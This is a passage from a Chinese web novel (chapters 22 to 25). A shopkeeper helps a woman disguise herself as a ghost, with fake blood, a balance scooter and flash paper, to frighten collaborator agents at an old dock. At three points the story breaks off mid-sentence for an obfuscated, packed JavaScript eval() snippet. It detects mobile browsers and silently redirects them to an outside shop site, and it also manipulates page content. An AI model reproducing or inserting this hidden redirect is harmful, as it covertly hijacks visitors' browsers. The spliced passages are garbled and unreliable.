她一力扛下的任务，绝不能在她手上出乱子。 萧妧妧当即意识到事情的严重性，难怪苏娇娇急得吃不下东西，执着地守在门边看对面的情况。 苏娇娇怕打扰她思考，不敢吱声，又蹲回去守门。 萧妧妧撑着下巴，转动快要生锈的大脑。 眼神放空无意识乱瞟，瞄到门口随风飘荡的晴天娃娃，萧妧妧一激灵，脑海中灵光闪过。 22. 第 22 章 “娇娇姐，守着码头的人大概有多少？是外国人还是二鬼子？” 苏娇娇观察了一晚上，心里一清二楚，道：“三十多个，都是二鬼子。” 萧妧妧叉腰，兴奋挥拳，“那我有办法了！” “真的？你想到什么办法了？需要我做什么？” 萧妧妧晃了晃食指，笑得不怀好意，“保密，我只能告诉你，是‘鬼’点子。” 苏娇娇面露怀疑，“……鬼点子，能行吗？” 那伙人凶恶，手里还有枪，不容易对付。 苏娇娇担心她轻敌，想要再说点什么，萧妧妧自信抬头，“对付外国人不好说，对付他们肯定没问题。” 她胸有成竹的样子，让苏娇娇没来由的安心，吞下要出口的话。 萧妧妧在一旁来回踱步，盘算用什么道具才能鬼里鬼气，冷不丁想起几样东西，拔腿就跑。 “妧妧那里是……墙。” 最后一个字没能说完，萧妧妧已经冲进大白墙，消失不见。 “萧老板真厉害啊。” 苏娇娇跟上去，手指戳在墙上感受墙体的硬度，瞪目结舌的赞叹。 萧妧妧忙着搜罗东西，苏娇娇也不闲着，打起精神，盯着特务们的一举一动，寻找巡逻换班规律。 盯了一会，她又不放心地找来纸笔，画出码头的轮廓布局和巡逻路线。 “呼呼……累死我了。” 苏娇娇搁笔半个多小时左右，萧妧妧终于赶回来。 抬头看到她大包小包背着，肩膀还扛着一个什么，看起来比她人还大，苏娇娇忙上前搭把手。 “这都是什么？”她问。 萧妧妧气喘吁吁地说：“是好东西，等会用得上。” 说着放下大小包，扔下肩上重物，又跑去后院抱来一箱纱布。 “一二三……哦，还差一样东西。” 萧妧妧盘点一圈，转身跑出去，再回来，手里多了一盆……血？ “不，只是人造血浆，”萧妧妧找了个安全地方，小心放下血浆，“娇娇，你那边还没到晚上吧？我们动作快点，这个点子在深夜用最有效果。” “对，还是中午呢，”过了一会，她卷起袖子又问：“我能做些什么？” 苏娇娇环顾脚下这对杂七杂八的玩意，一脸茫然，看不出来要怎么利用到一起。 萧妧妧想了想，拆开十几包纱布堆成小山。 “弄点血上去，血淋淋的那种，”她从柜台后面找出手套，递去一双给苏娇娇，“喏，戴上，别脏了手。” 苏娇娇将信将疑，这真能成？感觉更不靠谱了呢。 她的表情太明显，萧妧妧无法忽略。 “哎呀，不要小看我的技术，这是我的专业！每学期交大作业的时候，道具都是我亲自动手，可逼真了。 再说，糊弄那群没见过世面的二鬼子容易的很，我有高科技产品帮忙。” 萧妧妧信誓旦旦，苏娇娇反而不自信起来，她一边听话地用血浆浸湿纱布，然后挪到不锈钢托盘里备用，一边质疑。 “他们那样的人，手上都沾过几条人命，我猜你想弄假尸体吓唬他们，可他们见得多了不一定怕。” 萧妧妧更得意了，眉飞色舞，“谁说只有尸体了……娇娇姐，有我的小卖部在，那才更吓人嘛。” 她意有所指，意味深长，苏娇娇一顿，好像想到什么，又好像什么都没想明白。 萧妧妧看一眼时间，“娇娇姐，你先弄着，我要回家一趟，还有个道具在家里呢，那可是关键。” 说着，萧妧妧又转身出门。 苏娇娇等她走了，转身去扒拉那些大小包装袋。 一堆白布、绣花鞋、假发套……还有一些她认不出来的东西。 苏娇娇叹息，事已至此，她只好全力配合萧妧妧，说不定真有奇效呢。 萧妧妧再回到小卖部是二十分钟后的事，抱着一个纸箱子吭哧吭哧进来。 “扮得像不像，全靠这家伙了，”她抬头看向苏娇娇，“娇娇姐，你的重要任务来了，学会它们！” 苏娇娇好奇上前，打开纸箱子，看着里面造型古怪的玩意，表情空白。 “它们是？” 萧妧妧先拿出平衡轮示范，在苏娇娇越瞪越大的眼眸中看到不可置信的目光后，又换了电动平衡车玩给她看。 “这两样效果差不多，娇娇姐，你随便学会哪个都可以，”她跳下地面，接着说：“其实平衡车对你来说会简单点，上手快。” 萧妧妧把两样东西都挪到院子中，“娇娇姐，来试试，我扶着你上去。” 苏娇娇后悔了，连连摆手后退，“不行的，我会摔，我真不行。” 萧妧妧：“放心，我在这呢。” 她目光坚定，闪烁着光芒，苏娇娇想，萧老板都为她拿出这么多高科技玩意，她怎么也该拼尽全力。 “好！我试。” 苏娇娇一脸即将赴死的壮烈，双手紧扒着萧妧妧，两腿颤巍巍地踩上平衡车。 萧妧妧险些让她勒得喘不过来气，可看苏娇娇明明很胆怯，手指因过度用力而发白，却还是紧咬嘴唇，辛苦坚持，萧妧妧便不好说什么，默默陪着她。 大约绕了几圈，苏娇娇慢慢发现平衡车足够平稳，像萧妧妧说的那样，想去哪去哪，不用迈开腿，渐渐享受起来。 “妧妧，你看我这速度够不够？” 萧妧妧拍着巴掌大声鼓励，“对对对，娇娇姐真棒，你再多练练，尽量练得飘飘欲鬼。” 飘飘欲鬼…… 苏娇娇眼睛微睁，一下子明白了萧妧妧的打算。 “我知道了，”苏娇娇笃定说道：“你想让我踩着这个轮子扮鬼！” 萧妧妧嘿嘿笑，大方承认，“娇娇姐真聪明，就是扮鬼。” 这招放在万圣节不值一提，但放在几十年前，大多数人还相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491447|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信神神鬼鬼的年代，简直绝杀。 如果再来一招突脸杀，这得是多大的心理阴影啊。 尤其有小卖部和高科技物品的加持，效果绝对拉满。 就是听起来有点扯，好像在胡闹一样，萧妧妧一开始是真不敢和苏娇娇直说。 苏娇娇有些犹豫：“我那里快到中元节了……会不会……？” 别人先不说，苏娇娇自己是有点怕的，中元节扮鬼，正常人谁干得出啊，吓都吓死了。 萧妧妧闻言嚯了一声，中元节、老码头、漆黑深夜……天时地利人和，她们全占！ 没等萧妧妧开口说服她，苏娇娇几个深呼吸，已经安抚好了自己。 她双拳紧握，声音紧张到略微颤抖，“没关系，就按你说得办！恰逢中元节，确实是天时地利人和。只要老码头乱起来，我能趁乱上船，后面的问题都好解决。” 萧妧妧灵机一动想到的法子得到认可，整个人轻飘飘，兴致勃勃拉着苏娇娇讨论怎么把事情闹大。 苏娇娇一边练习平衡车，一边听萧妧妧嘀嘀咕咕。 等萧妧妧从恐怖片找到一些灵感，马不停蹄回小卖部准备道具。 纱布一层一层覆上人形道具，手臂腿脚部位留出长长的纱布条，营造出随风飘的感觉。 买来的新鲜肥肠免去清洗步骤，沾了血浆后就往道具腰腹部位固定。 正忙着，又是一声欢迎光临，小卖部的后门来客人了。 “萧老板，我来……” 人未到，声先至，在看清店铺里的景象后，申明月的话音戛然而止。 她站在门边一脸懵逼，看着血呼啦擦的小卖部迈不开步子。 这是……出事了？ 申明月提刀横在胸前，神情戒备。 萧妧妧忙得不行，头也没抬，便看不到申明月又一惊一乍地抽出了长刀。 她一边裹纱布，一边招呼顾客，“你先进来逛逛，我正忙着呢，等会招呼你啊。” 申明月扫视一圈，没感觉到危险，收了长刀走到萧妧妧身边，歪着头打量她手下的……尸体？ “萧老板这是忙什么？”她问。 萧妧妧笑嘻嘻的解释：“客人有困难，我这是帮着想办法解决呢。嘿嘿，这不是尸体，你别怕，我们是在装神弄鬼。” 申明月咀嚼装神弄鬼一词，扭头看外面同样忙个不停的陌生女人，她穿得比萧老板还要怪异。 申明月收回目光，蹲下身，两指捏起纱布和染了块块血迹的白布。 “装神弄鬼……” 一字一顿的重复几遍，申明月若有所思的神情一变，豁然开朗。 对啊，装神弄鬼！ 萧妧妧说了好几句，身边却没人应声，等她疑惑抬头，环顾四周，发现申明月早没了身影。 “奇怪，难得来一次，怎么这就走了……” 嘀咕几句，萧妧妧想不出所以然，继续埋头苦干。 23. 第 23 章 萧妧妧拿出赶毕业大戏的劲头，尽心竭力，一丝不苟。 甚至写了剧本台词，以及对应的肢体动作，方便苏娇娇尽快入戏。 下午三点一刻，萧妧妧准备完毕，苏娇娇那里也练得差不多。 她从塑料袋里扒出一堆白布，在苏娇娇面前抖了抖，“换上吧，我们这里的古装戏服。” 电视剧里灯光一打，看起来仙气飘飘，等苏娇娇换上，在中元节的夜晚忽隐忽现，那就是鬼气飘飘。 想到苏娇娇可能不会穿，主动带她去客房。 再出来，苏娇娇一身白衣，头发披散。 萧妧妧找出粉底液眼影盘等一堆化妆品，翻出三张照片摆在苏娇娇面前。 “喜欢哪张脸？我来给你化。” 苏娇娇瞄一眼，嘶了一声，哪张她都不喜欢。脸蛋惨白惨白，眼睛黑洞洞的，嘴巴猩红，吓死个人。 “你看着办吧，太可怕了。” 苏娇娇捂着眼睛偏过脑袋，不想多看一眼。 萧妧妧噗呲一笑，自己做主挑了一张经典的女鬼妆容。 “好了，苏人美女士，接下来我要给你弄假发套了，请坐。” 苏娇娇依言坐在她身边，眨巴眼睛，努力适应美瞳，“苏人美是谁？为什么这个美瞳看着红红的，戴上以后毫无变化？” 萧妧妧一一解释，调整发套的时候，忽然嗅到浓厚的化妆品香气，回房间拿来一瓶香水。 “以前跟风买的香水，买回来发现味道很奇怪，有朽木的味道，老房子的味道，腐败的味道，就是没有香味。” 她抓起苏娇娇身上的白色戏服，疯狂按动喷头。 “够了够了，你都喷了半瓶了。” 苏娇娇眉头紧皱，一手捂着鼻子，一手挥去浓郁味道。 萧妧妧：“别怕，留香很短，走几步就散了。” 说着，她逮住要跑的苏娇娇，多喷了两下。 苏娇娇抖抖衣袖，鼻翼翕动，回忆片刻后，评价道：“像老家宅子里的佛堂、宗祠会有的味道。” 萧妧妧闻言，像找到知己一样高兴。 挑口红时，萧妧妧选了一根自己凑单买回来的正红色。 她长相偏明媚，涂正红色口红攻击性太强，美得太过锋利、浓艳，抹在苏娇娇脸上刚好合适，像血盆大口。 萧妧妧憋笑完成了全部妆容，苏娇娇好奇极了，想知道自己变成什么样，偏又不敢照镜子，抓耳挠腮。 “别抓，假发片扯下来容易穿帮。”萧妧妧阻止。 苏娇娇只好忍着，正襟危坐。 “这是找阿婆借的旧绣花鞋，你将就穿，到时候把鞋子留在码头，要整整齐齐摆放的那种。” 萧妧妧递来一双大红色绣鞋，一双白色袜子，看着苏娇娇穿上，指了指旁边平衡车，示意她上去。 苏娇娇装扮齐全，避开院中能倒映她面容的玻璃窗，挡着脸上了平衡车。 “松弛一点，娇娇姐你看起来很紧绷，不够飘。” “对，像我这样，肩膀垮下来……” “身体微微前倾，四肢无力，垂在身侧。” “眼神不对，不要飘移，要直勾勾地盯着某一个人的眼睛，对……等等，你别看着我，看别的地方。很好，像发呆一样，表情管理要跟上。” 188号不算宽敞的小院中，一身白衣的苏娇娇踩着平衡车在院中飘来飘去，热得浑身冒汗也不敢叫停。 为什么萧老板没告诉她，扮鬼竟然有这么多讲究啊！ “对对对，就是这样，一定要浑身散发怨气。” “想象你是一个社畜，每天坐在工位上忍受资本家压榨剥削，深夜下班睡在棺材大小的串串房……” 苏娇娇顶着一张鬼脸回眸，“社畜是什么意思？串串房又是什么？” 我勒个奇迹娇娇……把温婉大美女化成这鬼样，造孽啊。 萧妧妧默了默，撇开视线，“好吧，我觉得你不需要懂。” 苏娇娇多看她两眼，一转身，特意绕去萧妧妧面前，缓缓飘过，又缓缓飘走。 萧妧妧没给她眼神，抬头望天。 啊啊啊啊啊啊她也怕鬼啊！ 苏娇娇挡着脸嗤嗤笑，肩头耸动。 调教了大约半个多小时，萧妧妧总算满意目前的效果了，和鬼片里呈现出来的画面大差不差。 但还不够刺激，不够震撼。 缺了什么呢？ 萧妧妧捏着下巴思索，足足有一分钟，眼睛唰一下亮了。 “我知道缺什么了！” 嚎了一嗓子，萧妧妧来不及知会一声，风似地刮过小卖部。 人影消失，苏娇娇长舒一口气，马上拉来板凳坐下休息。 萧妧妧跑了两个市场才买回需要的东西，拎着包回到小卖部已经是傍晚时分，晚霞漫天。 苏娇娇终于把人等回来，再晚一点，她就忍不住打电话了。 萧妧妧一抹汗，开始找教学视频，主要是给苏娇娇教学。 “天哪，这么大的火……我做不到的。” 苏娇娇一边看一边跟着动作模仿，模仿一遍又一遍，仍旧想不通。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491448|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 是怎么做到手一挥，空中便能燃起一片火光的啊？ “你可以的，”萧妧妧把道具摆放在她面前，“喏，我都准备好了。” 苏娇娇诧异地看着一叠普普通通的纸张，还有一碗普普通通的粉末。 “这能行吗？” “娇娇姐，你可别小看它们。” 萧妧妧把东西搬去院子中，现场演示。 苏娇娇眼睛一眨不眨地盯着她捣鼓，并暗自评估。 折纸不难，好学； 点火不难，好学； 把纸扔出去不难，非常好学； 挥手更没有难度，有手就行； 火焰瞬燃也……等等！它就这么燃起来了？ 苏娇娇眼睛瞪得溜圆，血盆大口微张。 萧妧妧根本不敢抬头，埋着脑袋解释：“这是魔术纸，回头我在小卖部点燃它，你只需要站在门口，手从背后伸回来接走，再像我这样，把它扔出去，效果是不是很炸裂？” 苏娇娇愣愣点头，“……炸裂。” 即便看过演示视频，再看萧妧妧亲自上手演示，苏娇娇仍是感到震撼。 如果这一招控火魔术搭配自己的装扮……苏娇娇憋不住笑出了声。 “妧妧你可真厉害，我都能想象到他们吓得落荒而逃的样子，用不着第二天，码头闹鬼的传闻一定沸沸扬扬。” 越想，苏娇娇越激动，恨不得现在就去吓死他们。 萧妧妧拦住人，递去剧本，“进店口令和范围我已经调整好，你可别喊错了。” 苏娇娇拿着A4纸颠来倒去，萧妧妧才反应过来，她看不懂。 “这样吧，我从头到尾演示一遍，娇娇姐你记住我的动作，用在他们身上。” 苏娇娇重重点头，认认真真看萧妧妧演示。 暮色降临，细碎星光在夜空闪耀。 月牙巷188号小院中，尖利刺耳的怪笑终于消失。 “没问题的妧妧，我们现在开始吧？” 小卖部那扇连通各个位面的假门前，萧妧妧全力配合，吊起血淋淋的人形道具。 苏娇娇信心满满，双手抵在道具后背，蓄势待发。 她紧盯门外，只等巡逻的人经过并走出一定距离。 “来了。” 得到信号，萧妧妧连表情都在用力，绑在道具四肢上的钓鱼线瞬间绷紧并顺利穿过结界。 准备完毕，她低声喊了一句：“Action！” 苏娇娇：“……？” 萧妧妧改口：“请开始你的表演。” 24. 第 24 章 “马队长自己躲屋里不出来，派我们大晚上巡逻。” “嗐，走吧，谁让是咱们把人跟丢了呢。” “你说稀奇不稀奇，我眼睁睁看着那婆娘进了老码头，搜了两天，结果啥也没看到。” 打扮成码头劳工的四人列成一队，吊儿郎当溜达过去。 走在最后面的许大壮脚步一顿，耳尖动了动，“你们听见什么声音没有？” 前头三人懒洋洋回答，“这不到处是浪的声音吗？” 许大壮困惑摇头，“不，不是那个……我听到有女人在笑。” 前面有人扭头笑着调侃，“大壮，我看你是想百合小姐……” 然而没等他说完，话音戛然而止，笑意渐渐淡去，平头男人直愣愣望着许大壮后面，瞳孔紧缩。 “阿财？你说话啊，发什么愣。”许大壮看他一动不动堵在前面，忍不住催促。 阿财缓缓抬起手，“那个……你们看看那是什么？” 其余三人闻言，不明所以，齐齐转身看向身后。 “嚯。” “嘶。” “谁啊，怎么跑这儿上吊来了。” 猛地看见身后冒出一具裹满纱布的尸体，大家吓一跳，随即淡定打趣。 尸体嘛，谁没见过啊。 阿财吞了吞口水，声线飘忽，“可我们刚刚过来时，那里什么都没有吧？” 这话一出，大家面色一变，彼此对视一眼。 “你们、你们别吓唬人啊……马队长等着我们回去交班呢。” “不对，你们仔细看，它是飘起来的，上面没有绳子。” “当然没绳子，这里连个挂的地方都没……” 阿财像是让人掐住了喉咙，后半句话死活说不出口，大家跟着沉默下来，周遭忽然沉寂。 “假的吧……有人装神弄鬼！” “要不，上去看看？” “看什么看，我们明明搜过，那里什么都没有。” 吵嚷了几句，四人脸色唰一下惨白，明明是潮热的夏夜，脊背却迅速发凉，腿脚不自觉地颤抖。 “别怕，不可能有鬼的，肯定是太黑了，我们看错了。” “手电呢？都把手电掏出来。” 许大壮克制着发抖的声音，强撑着掏出手电筒，暖黄光线摇摇晃晃，艰难对准。 头上没绳子，脚下腾空三四尺，身侧空无一物，没有借力的条件。 再看尸体，身上肠子血淋淋，半脱落的纱布随夜风张牙舞爪。 而尸体后面，浓白雾气霎时间弥漫开来，好似云雾托起尸体，缓缓向前飘来。 “鬼啊！”*3 惨叫声响彻夜空，那具看不到脸的尸体陡然发生变化。 最先是从看不到面容的头部开始，像失控的水龙头，血水喷涌，浸湿白色纱布。 继而是四肢、胸口、腰腹，越来越多的血水渗透出来，淅淅沥沥，哗哗啦啦，这点细微的声响，在此刻竟比海浪声还要刺耳。 眨眼工夫，白色纱布全部浸成红色，地面很快汇集出一大滩红色液体。 这根本不是一个正常尸体能拥有的血量！ 伪装潜入的四人绷不住了，从呆滞中回过神，他们早忘了不能打草惊蛇的命令，嘶喊着跑远，腿软到发抖也要跑，拼命跑。 许大壮手脚并用，连滚带爬，先一步回到老码头的售票口。 “队长！马队长，老码头、老码头……”许大壮受了惊吓，又一路狂奔，差点喘不上来气，“出事了，闹鬼了！” 马队长气不打一处来，“让你跟踪你们把人跟丢了，让你们潜入巡逻，你们跟我说闹鬼？” 光是说几句不解气，马队长一脚踹过去，“少特么糊弄老子，说，到底什么事？” 许大壮哆哆嗦嗦，牙齿都在打颤，“真的、真的，好多血，好多好多……” 他双眼呆滞，反复念叨着好多血，像个傻子一样。 马队长更气了，抽出枪要抵上许大壮脑门，没等他抬手，腥臊味弥漫。 低头一看，地上多出一滩黄色液体。 吓尿了？ 马队长气得不知道骂什么好，指着许大壮无话可说。 “队长，出大事了。” “有鬼！老码头有鬼，它会飘，它流了好多好多血！” 就在这时，搭档巡逻的另外三人挂着如出一辙的惊恐表情狂奔过来，没到门口，远远就听到他们吱哇乱叫。 等人跑近了，灯光一照，好家伙，几人吓得鼻涕眼泪一大把，身子抖成了筛子。 整个小队都这般，老码头必然有情况。 躲在屋里守株待兔的另外几个小队纷纷掏枪起身。 马队长看到地上四人就烦，忒不争气了，联合行动还敢给他丢人，于是一人一脚踹倒，招呼兄弟们出去查看。 “把那四个怂货架起来，让他们仔细看看，到底是人是鬼。” 鬼？别开玩笑了，肯定是那些人的小花招。 马队长摩拳擦掌，跃跃欲试。 好啊，藏了这么久，终于熬不住露面了，不枉费他们没日没夜地围捕。 马队长气势汹汹，带着手下三支行动队共计二十七人一起出发。 才逃回来的四人急哭了，“真的是鬼，就飘在天上，肠子拖地…” “队长，我们真没撒谎，你们是没看到，脑壳上面那个血啊，跟泼出来一样。” 马队长大步向前，跟在后面的其他人心里直打鼓，一个个摸上腰间手枪。 “哪呢？鬼在哪呢？尸体在哪呢？” 一行人浩浩荡荡赶到老码头，除了他们自己的脚步声，只有浪花拍岸的动静。 马队长环视一圈，周围黑黢黢，什么都没有。 四人惨兮兮抱成一团，远远躲在队伍后面，闻言，他们大声反驳，“不可能，货箱，就在货箱附近。” 马队长翻了个白眼，抢来手电筒扫射对面成堆的货箱。 “血！血还在！” “在那里，我也看到了！” “好多血！” 顺着阿财指的方向打灯，大家果然看到了大片血迹，行动队霎时骚动起来。 “闭嘴！嚷嚷什么呢？”马队长瞪了一眼怂包手下，“这点血就吓到你们了？走，都跟我过去看看。” 马队长谨慎许多，警惕观察一会才敢上前，而身后的人犹犹豫豫，迈步都不敢。 走出去几步，马队长见他们没人跟上，怒气飙升，叉着腰朝众人骂骂咧咧。 “一个两个怂包，你们手里的枪是摆设吗？” “都给我跟上，再让我看见你们这怂样，老子先毙了你们！” 眼神恶狠狠扫过众人，看大家垂头耷脑闷不吭声，马队长又去看许大壮和阿财四人，见他们一副快要晕死的虚弱情态，脸色唰的一下沉下来。 “后面……在后面……”许大壮指着马队长侧后方，双目圆瞪，低声喃喃。 马队长眉头一皱，“许大壮！你瞪我是什么意思？我骂错了？还是对我有什么不满？” 然而怒吼刚出口，许大壮扛不住了，“噗通”一声，整个人像抽了骨头似的软绵绵晕倒在地。 旁边苦苦支撑的阿财发出一声惨叫，眼白一翻，晕倒。 两人的反应大家都看在眼里，这会是情不自禁的头皮发麻，心脏怦怦跳。 胆小的已经闭上眼睛，有胆大的，顺着他们晕倒前最后看去的方向扭头…… “鬼、鬼来了！” 自诩胆大的平头男死死瞪着前面，眼神空洞，神情惊惧万分。 马队长受不了他们一惊一乍，还想再斥骂几句，忽然间哽住，腿脚不由发软。 二十多人不知道什么时候，齐刷刷地望向马队长身后，他们黝黑的眼底，倒映出的白色物体正迎着昏黄光线，缓缓飘来。 腐朽的气味钻入鼻腔，马队长浑身一僵，额角冷汗滴滴滑落，没入衣领。 他强装镇定，吞了吞口水，缓慢而僵硬地转过身…… “啊！！！” 一张鬼脸悄无声息的出现在自己身后，血红的眼睛，惨白的脸，诡异的笑容。 马队长吓得三魂七魄离体，倒退时一踉跄，直接跌倒，浑身被冷飕飕的白色雾气包围，冷气仿佛穿透皮肉，冻住筋骨，让他忘记做出反应。 尖叫过后，他意识到自己手心里攥着枪，才想起来招呼手下人火力压制，那女鬼好像能看出他想法一样，倏地急速倒退，鬼魅白影隐没在浓浓雾气中。 等子弹上膛，他们慌手慌脚准备射击，女鬼发出一声“还我命来”的凄厉嘶喊后，直接消失在眼前。 十几发子弹全打在货箱上。 “是女鬼，真的是女鬼。” “她是飘起来的，她眼睛像血一样！” “不会错的，她刚刚在货箱前面消失了！” “一定是中元节鬼门开了，一定是鬼。” 马队长已经失去了所有力气和手段，颓然地躺倒，失神呢喃，“真的是鬼，真的有鬼……” 他不会看错也不会听错，那个女鬼飘在半空，阴冷气息侵袭全身，他听到女鬼在他耳边叫他名字，还让他回头看看她。 “去，去叫人，多叫点人！” 二十多个青壮年吓得走不动道，好半晌才相互搀扶着站起，踉踉跄跄往回跑。 马队长心里还有疑虑，跑了几步没忍住回头去看，不看还罢，这一扭头，女鬼再次出现，四周浓雾弥漫，包裹着她。 而她，竟追在他们身后，幽幽飘来。 “快走、快走，女鬼追来了！” 不知道谁喊了这么一句，大家尖叫着奔逃。 或许是前面十几枪的动静引起了宪兵队的注意，行动队一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491449|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行人刚跑出去百来米，前面传来了整齐划一的脚步声，列成两队包围过来。 马队长高悬的心脏总算回到胸腔，他回身指着身后忽隐忽现的白色鬼影。 “有鬼！有鬼！快开枪！” 宪兵队的人低声骂了一句，绕开马队长上前查看。 却在这时，紧跟了一路的女鬼突然停下，歪着脑袋看大家，咧开血盆大口。 宪兵队里传来叽里咕噜说话声，不一会，身后队列齐刷刷举起枪。 那女鬼果真是不怕枪，狞笑着冲过来。 马队长畏畏缩缩躲在后面，他看得清楚，连宪兵队的人都怕了，小腿颤抖。 更可怕的是，女鬼原本扭曲的双臂突然展开、扬起，再挥舞，仿佛施法一样的动作后，女鬼的手心竟然飘起绿色火苗！ 火苗的出现吓到所有人，没等大家回过神，那女鬼一扬手，一道火光瞬间燃起，向空中喷射。 “队长，是妖怪，是会控火的妖怪！” “好大的火，她会妖术！她会腾云驾雾！” “怎么办队长，她冲过来了，我们会不会死啊？” 马队长哑口无言，他不知道，什么都不知道，傻愣愣立在原地。 “还我命来！” 阴恻恻的呐喊格外响亮，在深夜的老码头回荡，清晰的好似在他们耳边说话。 会控火的女鬼越来越近，激烈枪声陡然响起。 马队长紧闭眼睛不敢再看，等到前面有人叽里咕噜说什么的时候，他缓缓睁开一只眼。 黢黑，潮热，海浪，成堆的货箱，等待靠岸的货船，以及……一双红色绣花鞋。 ………… 不倒闭小卖部。 苏娇娇赶在枪响之前躲进门，一进来，整个人瘫软在地，急促喘息。 “你这招突脸杀真好用，已经吓晕好几个。” “妧妧你都没看到，我就在几个大货箱中间飘来飘去，又在他们面前突然消失突然出现，他们都吓尿了。” 苏娇娇正亢奋着，小嘴吧嗒吧嗒描述他们的惨状。 萧妧妧半捂着脸，快要哭了，“求你了娇娇姐，你别对我笑……” 苏娇娇一下子收敛笑容，捏住袖子挡住自己的脸，“抱歉抱歉，我忘了。” 她赶紧侧过身，尽量让正脸对着外面，“我特意等人多的时候使出那招控火术，天呐，他们吓疯了，拼命开枪。” 萧妧妧一直在店铺里打配合，虽然看不到外面什么景象，但她能听到声音啊，再有苏娇娇一遍遍复述，对面的状况可以想象。 “太吓人了，你说三十多人，没想到会冒出来七八十人，更没想到，苏人美的杀伤力这么大。” 听到叽里咕噜的鸟语时，萧妧妧心头沉重，不敢想象码头围了那么多人，如果苏娇娇没有进小卖部躲藏…… 好在苏娇娇演技过关，心理素质过硬，完美谢幕。 否则时间长了，众目睽睽之下难免穿帮。 苏娇娇此刻是浑身轻松，笑盈盈的说：“不会穿帮的，我很谨慎，就算跟着他们也是远……撤了撤了！他们撤走了！” 说到一半，对面忽然有了变化，苏娇娇激动地爬起来。 “机会难得，我要赶紧上船，”苏娇娇摘下假发套，脱掉罩在外面的肥大戏服，“妧妧，我的脸怎么办啊？” 萧妧妧担心她赶时间，早有准备。 “喏，卸妆湿巾，你先凑合把脸擦了，”鼓囊囊的小包塞进苏娇娇带来的菜篮子里，“美瞳别乱扔，小心让人看见察觉，回头包起来带给我，我来扔。” 苏娇娇飞快扯下戏服和假发片，“唉，我记得了，过几天我再来，谢谢你啊妧妧。” 萧妧妧嗐了一声，摆摆手，催着苏娇娇快去办正事。 机会难得，苏娇娇没跟她客气，挎上篮子转身离开。 假门啪嗒一声合上，萧妧妧深呼吸，抹了一把脑门上的汗。 真刺激啊。 歇下来后，萧妧妧才发现浑身湿透，不止出汗，胳膊也因为用力过猛，酸疼得厉害。 但小卖部乱糟糟，萧妧妧没时间再歇，麻溜爬起来打扫卫生。 平衡车放进仓库，魔术纸塞进柜台，人造血浆还剩下一点，找个瓶子装起来备用。 对了，还有人形道具，当时紧急，撤回来后丢在地上没管，这可不行。 萧妧妧只好捶了捶胳膊，活动片刻，小臂穿过人形道具的腋下，一路拖回后院。 “欢迎光临～” 很不巧，往常没什么生意的时间点，偏偏来了两个客人。 萧妧妧偏头，看到走进门口的两人愣了愣。 而门口的那两人明显也愣在原地，诧异目光先是落在萧妧妧身上几秒，而后注意到她的动作，瞳孔紧缩。 萧妧妧心里一咯噔，伸出尔康手。 “你们听我解释！” 25. 第 25 章 小卖部左拐四百米不到的地方有派出所，电话打过去，警察上门只是眨眼的工夫。 警察来了……她就完了！ 萧妧妧：“千万别报警，事情不是你们看到的那样。” 黎行墨顿了顿，目光落在萧妧妧脸上，将信将疑。 他的眼神太好懂，萧妧妧轻易看出他们的质疑。 不能怪别人多想，地上一大滩血痕，旁边的黑色发套扔了一地，尸体道具过于逼真，怎么看都缺乏说服力。 再看萧妧妧，衣服上有大片血浆，瓷白肌肤留下道道血污，丸子头松垮垮要掉不掉，脑门上全是汗珠，一副刚杀完人的模样。 尤其她那双明媚的狐狸眼，绽放夺目神采，看起来亢奋异常，妥妥的激情杀人案发现场。 萧妧妧没办法，抓起肠子要给他们看，又觉得血淋淋更吓人，转而扒拉道具头部的纱布。 “它只是个充气娃娃，”萧妧妧拉来围裙擦干净充气娃娃的脑袋，捧着充气娃娃的脸强硬地扭过去，“真的不是尸体，红色的是人造血浆，你们别多想。” 萧妧妧豁出去了，在他们面前丢脸总比到警察面前丢脸好。 都是老街坊，邻里吵架打架没少进派出所调解，彼此之间熟悉的很，回头派出所出警，街坊们看到了一打听，萧妧妧在月牙巷就抬不起头了。 黎行墨迈步进来，观察一会后，随即露出微妙神情。 萧妧妧声线发紧，视线不由自主乱飘，“嗯……和朋友闹着玩，做的整蛊道具，呵呵。” 一旦说出充气娃娃几个字，再怎么解释听起来都很牵强，反而显得她欲盖弥彰、行为鬼祟。 萧妧妧莫名心虚，整个人控制不住的红温，低垂脑袋不敢看他们。 脚趾忙着扣地时，她听到黎行墨开口。 “大哥，这是住我们对面的邻居，萧小姐，云老师住在她家。” 萧妧妧僵硬地扯动嘴角，真是谢谢他了，弄得这么狼狈还能认出来。 只停顿了一会，另一道声音响起，“……春山居？” 黎行墨嗯了一声。 萧妧妧恨不得找个地缝钻进去，但话说到这里，她只好硬着头皮站起，双手藏在背后。 